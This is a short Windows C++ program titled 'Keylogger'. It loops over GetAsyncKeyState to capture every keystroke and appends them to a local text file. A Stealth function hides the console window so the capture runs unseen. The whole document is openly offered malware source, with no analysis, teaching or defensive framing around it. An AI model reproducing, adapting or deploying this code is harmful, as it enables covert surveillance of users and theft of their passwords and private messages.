Keylogger

#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>
#include <stdio.h>

int Save (int key_stroke, char *file);
void Stealth();

int main()
{
    Stealth();
    char i;
    while (1)
    {
        for (i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
                Save(i, "Keylogger_file.txt");
        }
    }
    system ("PAUSE");
    return 0;
}
/* *************************************** */
/* *************************************** */
int Save (int key_stroke, char *file)
{
    if(( key_stroke == 1)   ||  (key_stroke == 2)) //see if I can include the brackets
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout << key_stroke << endl;

    if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT ARROW KEY]");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP ARROW KEY]");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT ARROW KEY]");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN ARROW KEY]");
    else if (key_stroke == VK_DELETE)
        fprintf(OUTPUT_FILE, "%s", "[DELETE]");
     if ((key_stroke == 190)    ||  (key_stroke == 110))
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);
    fclose(OUTPUT_FILE);
    return 0;
}
/* *************************************** */
/* *************************************** */
void Stealth(){
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth,0);
}